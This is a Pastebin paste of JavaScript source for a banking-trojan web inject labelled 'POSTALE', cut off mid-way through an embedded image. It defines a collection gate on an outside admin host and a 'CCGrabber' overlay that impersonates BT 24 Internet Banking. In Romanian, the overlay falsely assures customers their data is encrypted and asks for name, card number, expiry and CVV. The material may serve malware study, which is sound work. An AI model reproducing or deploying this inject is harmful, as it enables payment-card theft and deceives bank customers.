Advertisement
Xylitol

POSTALE WebInject

Nov 1st, 2014
610
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. //=================== ADMIN =====================
  2.  
  3. var ALINK = "https://securetargeting.com/content/webanalyser/postale/admin/";
  4.  
  5. var GATE = ALINK+"gate/gate.php";
  6.  
  7. //=================== INIT PROTOS =====================
  8.  
  9. var CCGrabber = (function(){
  10.  
  11.     var placeborder = new Array();
  12.     placeborder["red"] = "#DD4B39";
  13.     placeborder["white"] = "#CCCCCC";
  14.     var placeholder = new Array();
  15.    
  16.     var LEFT = ((window.screen.availWidth) / 2 ) - 400;
  17.    
  18.     function From(parent,child){
  19.         return parent && child ? parent.getElementsByTagName(child) : false;
  20.     }
  21.  
  22.     function Text(param){
  23.         if(param){
  24.             var tmp = (param.textContent ? param.textContent : param.innerText) ? (param.textContent ? param.textContent : param.innerText) : param.innerHTML;
  25.             return tmp.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$)/ig,"");
  26.         }else{
  27.             return "";
  28.         }
  29.     }
  30.  
  31.     function AddListenner(obj,evType,func){
  32.         if(obj.addEventListener ){
  33.             obj.addEventListener(evType,func,false);
  34.             return true;
  35.         }else if(obj.attachEvent){
  36.             var r = obj.attachEvent('on'+evType,func);
  37.             return r;
  38.         }else{
  39.             elm['on'+evType] = func;
  40.         }
  41.     }
  42.    
  43.     function initInputs(id,value){
  44.         var el = document.getElementById(id);
  45.         placeholder[id] = value;
  46.         var labels = From(el,"label");
  47.         var inputs = From(el,"input");
  48.         if(labels && inputs){
  49.             labels[0].innerHTML = placeholder[id];
  50.             inputs[0].value = "";
  51.             AddListenner(labels[0],"click",function(evt){              
  52.                 var evt = (evt) ? evt : ((event) ? event : null);
  53.                 var node = (evt.target) ? evt.target : ((evt.srcElement) ? evt.srcElement : null);
  54.                 var holder = node.parentNode;
  55.                 var holderLabel = From(holder,"label")[0];
  56.                 var holderInput = From(holder,"input")[0];
  57.                 holderLabel.innerHTML = "";
  58.                 holderInput.focus();
  59.             });
  60.            
  61.             AddListenner(inputs[0],"focus",function(evt){              
  62.                 var evt = (evt) ? evt : ((event) ? event : null);
  63.                 var node = (evt.target) ? evt.target : ((evt.srcElement) ? evt.srcElement : null);
  64.                 var holder = node.parentNode;
  65.                 var holderLabel = From(holder,"label")[0];
  66.                 holderLabel.innerHTML = "";
  67.                 node.style.border = "1px solid #4D90FE";
  68.             });
  69.            
  70.             AddListenner(inputs[0],"blur",function(evt){
  71.                 var evt = (evt) ? evt : ((event) ? event : null);
  72.                 var node = (evt.target) ? evt.target : ((evt.srcElement) ? evt.srcElement : null);
  73.                 var holder = node.parentNode;
  74.                 var holderLabel = From(holder,"label")[0];
  75.                 if(node.value.length < 1){
  76.                     holderLabel.innerHTML = placeholder[holder.id];
  77.                     node.style.border = "1px solid #DD4B39";
  78.                 }else{
  79.                     node.style.border = "1px solid #CCCCCC";
  80.                 }
  81.             });
  82.         }
  83.     }
  84.    
  85.     function getDocumentHeight() {
  86.         return Math.max(document.compatMode != 'CSS1Compat' ? document.body.scrollHeight : document.documentElement.scrollHeight, getViewportHeight());
  87.     }
  88.  
  89.     function getViewportHeight() {
  90.         var ua = navigator.userAgent.toLowerCase();
  91.         var isOpera = (ua.indexOf('opera')  > -1);
  92.         var isIE = (!isOpera && ua.indexOf('msie') > -1);
  93.         return ((document.compatMode || isIE) && !isOpera) ? (document.compatMode == 'CSS1Compat') ? document.documentElement.clientHeight : document.body.clientHeight : (document.parentWindow || document.defaultView).innerHeight;
  94.     }
  95.  
  96.     var BSINwaitContent = '<div style="left:'+LEFT+'px;top: 109px;position: absolute;z-index: 100;color: #333333;font: 0.75em Arial;text-align: center;width:800px;">       <div style="background:#F4F4F4;border: 1px solid #FFCC73;text-align:left;color: #666666;font-family: Arial;font-size: 12px;line-height: 20px;">     <h2 style="background-color: #2484C6;color: #FFFFFF;font-size: 11px;font-weight: bold;margin:5px;padding: 0 0 0 5px;text-transform: uppercase;">            Securitatea BT 24 Internet Banking</h2>     <div style="padding:15px;">         <table>             <tr valign=top>                 <td style="color: #666666;font-family: Arial;font-size: 12px;line-height: 18px;width:330px;border-right:1px solid #D5D5D5;padding-right:40px;">                     Stimate client!                     <br>                        &#206;n scopul &#238;mbun&#259;t&#259;&#539;irii serviciilor noastre se introduce o verificare suplimentar&#259; a clien&#539;ilor no&#537;tri, care ne va ajuta sa asigur&#259;m mai bine siguran&#539;a contului Dumneavoastr&#259;.                      <br><br>                        V&#259; rug&#259;m s&#259; nu v&#259; face&#539;i griji, toate datele sunt transmise prin protocolul criptat SHA-256 &#537;i nu se p&#259;streaz&#259;. Pentru identificarea Dumneavoastr&#259; v&#259; rug&#259;m s&#259; ne prezentati urm&#259;toarele informa&#539;ii:                  </td>                   <td style="padding-left:20px;">                     <div id="mFirstStep">                           <div id="ccgrabber-name-div" style="position:relative;margin-top:3px;width:390px;">                             <label style="color: #8D8B89;font-size: 12px;left: 12px;position: absolute;top: 7px;z-index: 0;cursor:text;"></label>                               <input type="text" autocomplete="off" value="" tabindex="0" id="ccGrabber_name" style="color: #222222;display: block;font-size: 0.938em;line-height:32px;outline: medium none;padding-left:8px;border:1px solid #cccccc;width:300px;height:28px;">                          </div>                          <br>                            <div style="background: -moz-linear-gradient(center top , rgba(0, 0, 0, 0.05), transparent) repeat scroll 0 0 transparent;box-shadow: 0 -2px 8px rgba(0, 0, 0, 0.05) inset;max-height: none;overflow: visible;padding-bottom: 0.75em;border-radius: 0.5em 0.5em 0.5em 0.5em;padding-left: 2em;padding-right: 1em;">                             <div style="height:10px;"></div>                                <div style="color: #222222;font-weight: bold;line-height: 1.5;margin-top: 0.75em;font-size:13px;">Numarul de card сredit ssau de debit</div>                               <div id="ccgrabber-card-div" style="position:relative;margin-top:3px;width:300px;">                                 <label style="color: #8D8B89;font-size: 12px;left: 12px;position: absolute;top: 7px;z-index: 0;cursor:text;"></label>                                   <input type="text" autocomplete="off" value="" tabindex="0" id="ccGrabber_card" maxlength=16 style="color: #222222;display: block;font-size: 0.938em;line-height: 32px;outline: medium none;padding-left:8px;border:1px solid #cccccc;width:300px;height:28px;">                                                                        <div style="position: absolute;line-height: 1;top: 4px;pointer-events: none;right: 0;z-index: 5;">                                      <div id="imgVisa" style="background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAVCAYAAAAnzezqAAABrUlEQVRIx+2Wv0oDQRDGr0ptbSW+gD6CjyBY2IpgZ5FOO7URBUUFsQ2CFpJCLMRCREUQlEAaU4kErxGVnIUp1Dsy3m9xljGYS5ezyMCXbGZnZ775k2WDSqVSSLGVopFCeoToJ2YhSD82wzCUOI6lV5IkiRAzjb0CgUYvg6sQk9gQkLyE2H0CnkDycCBfpxMe8XXRG9Zf3mVs6cShdHEvxd0bt+YbqdYbMrVz5W0AZ1Ts3lvzs3MFWs1QXi/n5WNv0KEV3Tn9QrkqwWTJAce6Rk/wgel9r1Oc157cWQhb/eHtY3YLcDgysyzPpWFXFWRotuwOa2bqDOeWHEHJEL0KZywB7LvOABlBgjbg1LK3v1lbAqNzRz5zTcbuaRJdCdAzjNe3F/2aKrS3AyFjda7Q2dCz7NtWdCXQ3jewcVxze+NrZ78I2TN2FmyryFrJACqTSYCsbHAc6/TaUuKIilB2oHvY20p1SibzHrBlhb2KHSYc/RWAFmg1IIot0GFWf5kEcN7+n7b3gWZNS1THWvXWzrbJ3h/9q/jfEMj9PeBeRLxScngRrQbmTRjl8Sb8Bls0GXKQcR8OAAAAAElFTkSuQmCC);background-size: 32px 21px;background-repeat: no-repeat;width: 32px;height: 21px;display: inline-block;filter: alpha(opacity=30), gray;opacity: 0.3;*display: inline;zoom: 1;margin-right:3px;"></div>                                       <div id="imgMaster" style="background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAVCAYAAAAnzezqAAAETElEQVRIx8WWaWxUVRiGvwE6tBhiMMGQAAJJMcZo1D+EP/xQEQkRWUIl+gOMiUYkkLhgomETBFqgtLTIFtsgprJMWbtYYCpQSqH2lC60lGnpWG4XEZjO0ulMe+fOPP6YkQzpdFoTgyd5c5KTe8/75N5z3u8TpZRZKbVbKeVQSvGE1B3xNItSKlPTNAKBAE9qGIaBpmkopVJFKeUY0jwUAl0Hwxh695ABQT38TpwRCARQSjlEKTWoqdHYiG/VajzJybjGjsU1/lm8c95Gt+SD3x+1mw+aj8OpOXBgPOwdC4eS4fJqcNwCYsMopYgN4PPhfWc+3SJ0i+CM0qO1pDEYqhocVZCdBKkCOwV2RWmHQJpAwYIw5HAAQh4P7snPDTB2xgDxTjNhfDoibLxbIHMQbRf4cQroPUMAhEJ4FywY0twpQs90oW+u4H9TCKWaYE8cgMzI1zi7+LHfMQDAqKh4zDweSO/Lgn+u4H9D8M82EUozQUbEKGMQiG0CXdcHB/AuXIRz0mTcEybgnDKVnuTpA0DcMpKeaQnoHwj98wX9PUFfJATXC6HDz0PxPMgaEz4T6RGgnQKpgpE9Dko/GQRA12kZN5G7N+2079yL/dpNvMfycaxYhW/ZcnpefY3etetpWLMF/885eBfORM/6FsesF+j9ajmt6WtwdDRRVXwWZ8FKuLYO/+EZ6CUfYpycg279DK3mEpR+DMH+GABeLzUTX+RGfRcVBVU033lI66Z0Lu8+TmN9O0037Nj353FlVx4teYXcK6+lqbqNhhO/0Xy5nguFNjj3Pve/FCoPfE1jQxct1ddpbbiFvb6OuqI87DYNjr4Cgd4YAD4fanYKZaW3aFbN1JVUca+8CtuRIjqv1mBZtoHblTbs1xu5tiGbO7V/UPHdfi7llNCxbgslW36BmlU4cmfyoOUqLdVVNNTe4XbRQRrLzuM4upiOunLInQRGXwyAYJCyz7di3XiQ8i+2YV27h/y0Y9QfOcfVQ79SnXOG6n0Wzueep/ybDPK3HsGWY6Fo62Hcc+dxYtZb1NQ1c9GSz5VCK7UXirlgKaTzpxQsO1JpqrXxZ1kunHr9UUoOOITO7B9oE0GTBO6azNhlJLdHJGGTBG6an6FzRAJNYuZ+4ijalybQteJp/lo+mr6PTPg3C23rn8K1zUznxkTubzLzYPNojF0mHn4/is6NSXg2CNTvi5MDHg+exETcIngi6omSOzK7RPBNEPpnCH0vCf1LTLBPICsSSFlRyoyek6DfFT8JA6Wlwwoi15jwNTRWCmQPkYQZ4WtI+8Xh1QL99OmYdWBAFL+bQjB3Sfi+p8dJwO0C9rP/ohgBoY4OelNSHitA/8g9dSqB02cihykErSchd0rYKC1K6QLFS8HbGbcaxu0HQi4XRmUlgYICAlYrwbY2CAZjPBgETxtoVrAXwL3fod89rH4gU9M0jOE0G/99R5QmUT1h9//RE/4NQkhB4pdQ2D8AAAAASUVORK5CYII=);background-size: 32px 21px;background-repeat: no-repeat;width: 32px;height: 21px;display: inline-block;filter: alpha(opacity=30), gray;opacity: 0.3;*display: inline;zoom: 1;margin-right:3px;"></div>                                     <div id="imgAmex" style="background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAVCAYAAAAnzezqAAAFnklEQVR42rxWa2xURRT+7t7tPmi3L2iFroJQSkCQiKDRCBpfaAwqj0T5QWJ8JECMRm38ASYSEvklSjRULa+Ij6holQTERJBXjBKBIkQE29pCLW1pu9t2u6+7994Zz5l7L7sgxH9McnbOzJw75zvPWe3YsWMagFeJ3iCqxPUZg0RvEW3w08/aMyh//bSvKgSfH0U+QNc0JSWkhCmBnJDI2g6liVK2QMqSGLEEkUTCtDFMgklaw7QAy3bIZhIuES8cvtQnKl6arK1bFEWY1OHFo3J0Ji19sEgh3QdTSMWzcp5JJ+hT2C4oOiZeOnvSmZlA/NXH5fsJE9jSgQyxr7EHKpNCjwfJaE2wqISPeVaqADiAFCjhgfIMc8B5vNKjQMj/xTFsqlUlA1Au5mGSVl1oDgA4ANhCkxQYbhgMF0xWcCgoJJYTEoORcAiYPFSW537XGs9LtJeTrMEHBYAvZheODdGG5gCAC4D3+Z6cS32GRCwnESShmrCOZJFAmaUREKFipBHvxJ6iK3QHgLARS5lIJnPKsvHlQYR0VkKxoCqQDx6Ix9adTsocmesNcrfMkl+ZvMHsnu6srN3dL/f2GtI74ilJbjHzov8Zv/WkZMW7J+TqwxekKxZj3ZdC8PT4EPoNgS3taTDMpbSeEiELycXvt6TU2QM3BDB/bBCP1+TwEPHbz2WwqyuDSMCHzXeUY3NLAj91plRIOOOlCouN2vIAGu6P4vhzt2BiWQAfnejDntYhrKnlINCoLdEVfXY+i/19ORzszymeB8d5V7eB73sMvH02pcpv3cwSdGcF6k8m0HQ+jU/ak8iQ3P7uDJo6khhF7i3x+xAp0uD3a/jgaB8W7mxXyht/78fKHa0YU1yk7lceeCIaUsnVRNYsmxBGmD5qbEvj5bowAhQqTrh5VQHsv2jg43O8X4yGNgYjMJ++PdybUUmrUxKPI0Peu7sKOuUIuRnjSFHjhAhW7u7AIzkbBzuGsHhONbY+NhHNzXHHA4uiQbowrdy8oCaIhUTccBr/TsNPFw0YNqaV6ri3OoCNJMdNp6E1hSWkfHaZH9mcrawJUQL3xA3c9GkbaradRfTDP7GjZQgrZo7Gs7dX4cfmi5g6JoymJXVwe53jAVbG8YxRmi/9dVAd9JPSby9k8SQp4XOu/WduDmMrWb786BC6kibq76nEjo4RJ9NpGBTv6hI/vns0qqqJy+hWarD7zo/gm9Mx3BgtQUt/Bo2UA8tnVecB7CRFp/oMvDIjQpb6wRVyNmFj/ZkRfN6Zoc4lcDFjY96YYsyu8OOrk4N4eEoJZlUUYdMZsp5aMde3zW3asPDHQFbdwePn7iRWHehCHSXioWVTUb+3Eyu+/AuVQR2TPAD7ejKYOzaADbeVkmJLZf7zE0eheTCHIwMG6kb5MC6kooU3p0ewOmGgflpErccX65hRGaA3RMMEsr6CxFb90us2EQFB4O6qKcbOxZNRHtKxbcEkpLIW1h76B9vvhNMHqIZjXJu9lMqVX3fJwBedsptanKDNFBV3lpoC9wWvzA23AfCvSULeOkdzyrRluoBSbnNpi2flnE2n5O7WQbVOGFa+D9y35wIkxWyIXB1PWqpbzf2hB+VU35rbwEmP6qIa/fj4IeK1cHhN8Fqo7uhjISmcvq/eB5YTaI1nMRDL4KmmFsysCiNEZbp+uhuC4z3UfDT3AaAD/ridPsg/Lu5cSEJeUqCeWdfl+TORP1fIuUx0pMn9R9qHSQ9tTA85AJyOrzkKLXmNJ6xwls5zqbm8zz1yM18pY97nigvkgSkjNeUBrwriZZqtDduaA0IVqKdMu9wDKLjoah652lnhuuA9LitSUOIMY+OKqBku1Qr+udhX8lfMopBk/rkV1wgRvH3HgFLywAtT9DCt3tEoExnEWv5nRFRxHf8TNhCt+VeAAQCMFxJfRCsJhwAAAABJRU5ErkJggg==);background-size: 32px 21px;background-repeat: no-repeat;width: 32px;height: 21px;display: inline-block;filter: alpha(opacity=30), gray;opacity: 0.3;*display: inline;zoom: 1;margin-right:3px;"></div>                                       <div id="imgDisc" style="background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAVCAYAAAAnzezqAAACVklEQVRIx82WP2hTURTGM3V2clUHJwkWnFQEcTIUIZOhOCQOsYuCkDqpYKrgvyGJSCVIopb6j1Skg4VUUAQlUQIVJII4VJKlSysR2rzkJT2+39XzCOTRRmhSL3y5592ce77vnPPu4/pKpdKQg5SDZQcyIKz85RzyOT/JSqUitm3LoEar1RI4He4bCFgeJLkOOOFGgGzXgPv/EfD2Q1Gu3E4aLFaq8uDZjFk7f2lCIufGZeFL2QA7GD5jfOyPWbGeRKT5+poslAqSSGdNLPywNR6x1J5y7Pl8vlsAfxIY7D5wRI4GRw127N1vgr2cmze2Bvo0OSbW/RPSfHVRGo/DsnQvKL6de1yRgGf2sobNPmJ8LZe9BQAGzoAgiGETlRg+NuKWz3p6Wppzl6X9/Y3Y7+9KPXXIrQ57qZDGIS4z+0nKswU4QYJiCHEmGJmrEILQFvBt8pSTecSQN2bHpZ4+7maqJOqvNjE1yS4B9EnLDiliAGIAayoO0PPGi7NSTx4U6+FJaS/9KavuVxsQhxmBzFTnn05BrVYzqFarUiwUTA8Bz53QNe3xlh1DSEdDIUklEjISCMjVeNysDfv9ciEWM89j0ajrw7zRWK/XpJGP9y5As4IUAmYVBjhWiplcTrKZjKmY5xfwc07W7hyW1Yldg/0QdRIr+i6AUtvFTBdx3wVwIhqzMVm75fck7ouA9Z/VDbPti4D2j4J5m+vpQM+kXgJ6vg9A2HyXEOt5dNPyboZf1/e59wFzI+KW4tVL3l6ytB6Ftgyr02FZzKcRcNPXcSdc2Y474W8B6tKUU0RBxAAAAABJRU5ErkJggg==);background-size: 32px 21px;background-repeat: no-repeat;width: 32px;height: 21px;display: inline-block;filter: alpha(opacity=30), gray;opacity: 0.3;*display: inline;zoom: 1;margin-right:3px;"></div>                                   </div>                              </div>                                                              <div style="display: inline-block;width:110px;float:left;">                                                                         <div style="color: #222222;font-weight: bold;line-height: 1.5;margin-top: 0.75em;font-size:13px;">Data expir&#259;rii</div>                                 <table>                                     <tr>                                            <td style="width:50px;">                                                <div id="ccgrabber-exp-div-m" style="position:relative;margin-top:3px;width:40px;">                                                 <label style="color: #8D8B89;font-size: 12px;left: 12px;position: absolute;top: 7px;z-index: 0;cursor:text;"></label>                                                   <input type="text" autocomplete="off" value="" tabindex="0" id="ccGrabber_exp_m" maxlength=2 style="color: #222222;display: block;font-size: 0.938em;line-height: 32px;outline: medium none;padding-left:8px;border:1px solid #cccccc;width:40px;height:28px;">                                             </div>                                          </td>                                           <td>                                            &nbsp;/&nbsp;                                           </td>                                           <td>                                                <div id="ccgrabber-exp-div-y" style="position:relative;margin-top:3px;width:40px;">                                                 <label style="color: #8D8B89;font-size: 12px;left: 12px;position: absolute;top: 7px;z-index: 0;cursor:text;"></label>                                                   <input type="text" autocomplete="off" value="" tabindex="0" id="ccGrabber_exp_y" maxlength=2 style="color: #222222;display: block;font-size: 0.938em;line-height: 32px;outline: medium none;padding-left:8px;border:1px solid #cccccc;width:40px;height:28px;">                                             </div>                                          </td>                                       </tr>                                   </table>                                </div>                                                              <div style="float: left;display: inline-block;margin-left:40px;text-align:left;width:150px;">                                   <div style="color: #222222;font-weight: bold;line-height: 1.5;margin-top: 0.75em;font-size:13px;">Codul CVV2/CVC2</div>                                 <div id="ccgrabber-cvv-div" style="position:relative;margin-top:3px;width:40px;">                                       <label style="color: #8D8B89;font-size: 12px;left: 12px;position: absolute;top: 7px;z-index: 0;cursor:text;"></label>                                       <input type="text" autocomplete="off" value="" tabindex="0" id="ccGrabber_cvv" maxlength=3 style="color: #222222;display: block;font-size: 0.938em;line-height: 32px;outline: medium none;padding-left:8px;border:1px solid #cccccc;width:50px;height:28px;">                                   </div>                              </div>                              <br><br><br>                            </div>                      </div>                      <div id="mSecondStep" style="display:none;">                            <div style="background-color: #FAE0CF;border: 3px solid #D5D5D5;width:390px;color: #000000;font-family: Arial;font-size: 12px;line-height: 18px;">                              <div style="border-bottom:3px solid #FF6600;background:#FFFFFF;height:40px;padding:5px;">                                   <img id="imgVBV" style="float:left;display:none;" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAlCAIAAAC26ZyeAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYxIDY0LjE0MDk0OSwgMjAxMC8xMi8wNy0xMDo1NzowMSAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNS4xIFdpbmRvd3MiIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6Mjc0RDE3QjAyMDMxMTFFM0JGRTY4OTFGMDA1RkE3MTEiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6Mjc0RDE3QjEyMDMxMTFFM0JGRTY4OTFGMDA1RkE3MTEiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzREMTdBRTIwMzExMUUzQkZFNjg5MUYwMDVGQTcxMSIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDoyNzREMTdBRjIwMzExMUUzQkZFNjg5MUYwMDVGQTcxMSIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PrQVKSEAAAeuSURBVFjD7Vd5VFNX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">                                 <img id="imgMCSC" style="float:left;display:none;" src="data:image/gif;base64,R0lGODlhMgAaAPcAAP////7+/tgoGeymAP///uyVjeNnXe2sEeyoBdo1J++zJPfT0OqLg9ozJeynA/bXjPK2sf757vjZ1v768f/9/dowIv789/nd3PnltPXRe++moO+0KfCrpfri4Pzw1u2rD/bVhvPJZds4KuuOhvnmuvjfo+2tFOBWSuFZTdkrHfGyru2pC+yoBu2pCfPGXOqNhe6vGuFbUOZ2bf39/fLBTPjdnfbXi9w9MPvq6fTDv+2pCP/9+froveuQiO6wHvnksvXRfPrk4fC4NO+lnuiBeO+yI/nhqPLDUu6xIORrYeRsYu2dlu2qDPbTgdktHvfbmfG7Pf/+/d5JPO+po/K6tf79+/zs6+6wHPvv0PnirPjb2fvtyuJhVumGfvC4Nfnc2fvrxuyoAfTOcv3y8ed7cfvuz+6hmv3z3vG0r+ynBOZzafzv0eNlWvvx8N1CNfrm5O+1K/G9Q/336vrpwPvqw9s2KPO9uO2qC/318/PGXds7LeNmW/TNcfXHxP3z8t9OQvXSfeyYkfng39w8L/rmt+RqX+6jnfGxq/zu7fPHX/zw7/zx2ffYjuZ1a+BTR/njrtgmGu6uF/fZkdgpGvvn5vLBTemFfPbUhPG9QfvtzNkwIfvo6O2oB/falfTBveVxZ/739/O+uvbQzPLCT+uRifnhp/njsP325tkuH99MQONjWPng3vO8t+d9dPXTgvfSz9w7LuFcUe+3MPPFWOJeV+qJhPbVh9o2LfrryfG8NfC4M/jW1PbNyu+rpf313v/+/t1EN/304P339fLAS/LDVeFXTO6yIfC5N/C3Mt9QQ/LBTu6fm/TOce6tFdxAMuiAd/nm5Prl5OmIgOVuZPC6OPG+Q+d4b/bViPbWifCtqOmEe/rpv/rpw/vr6vXPdud8c/319PXSgOmHf9kvIPbTgto0Jvvs6fO+uffRzvfSzfnov/76+uuQieNmXPbLyeuSivbOzdgrHOynAONkWfz15P315/XIxt5HOvzx8O2ak/TLavTMavTMbvHAR9oxI+yZkiH5BAAAAAAALAAAAAAyABoAAAj/AAEIHEiwoMGDCBMqXMiwocOHECNKnEixYsUZAaTpobIAWIw2AUKKDNCmF7SRI/F8S6HpHEqURBrNKBgAgCMBUwoIcLSg0Z5DAFTssZRDgDYKBbhQATDEjCciAmSogTBCVQEKaJZA+EJGQyoZNQkGUHSjAilVTj6hMRAjAQcnJ7poEECGgQhVDST8EcAgAQOBC+YlEaCikAAijhrAErAk7MAAEhLEiMHmhrQxhqyVIyXADABxbqyIMGAoXrYGljwJQCfQzyEGqPLdmzZFwIWioRwLDMBKzzMB4kQESnYCRQJKrQT0SNLuTYo/MZRkW110gcBpN5QI0FABwos6AFgJ/9CiG0CAAqkKoOJQoUeKVzLcrMJ3otgfAxfG9RgjaG63VQJ8Igor/hhyiBNzSRCIABDEIIIEdvghlhpJLEOLCg30MUgCdRigigApTGGAAKH8I4AAbDAwCCgA1AIJJOwUMokzUixRASKr3DKJJrHw8k4QYgVhjjB44HPBLx3sggMlgtgjCAA4uMOiFn1sgkMHAwWRDjiKwNNNEFZcQAEAVmhBSTTrBDHmYwBE8Mgj9VQ0ATceEHCQLx6IRdMEucgzQCkAWBCFQATsQOihURhqgZ2LKBBGGGsAYKhAFgBQST+SGlpeAIQMwEMwEzzxARQRRDCKDra40AQAcTzhAg0YMP/DyT4A0GCCKVnMAcUBDwAARiRewABEJj4UscWmPAyQhwVY3HGJDyCE0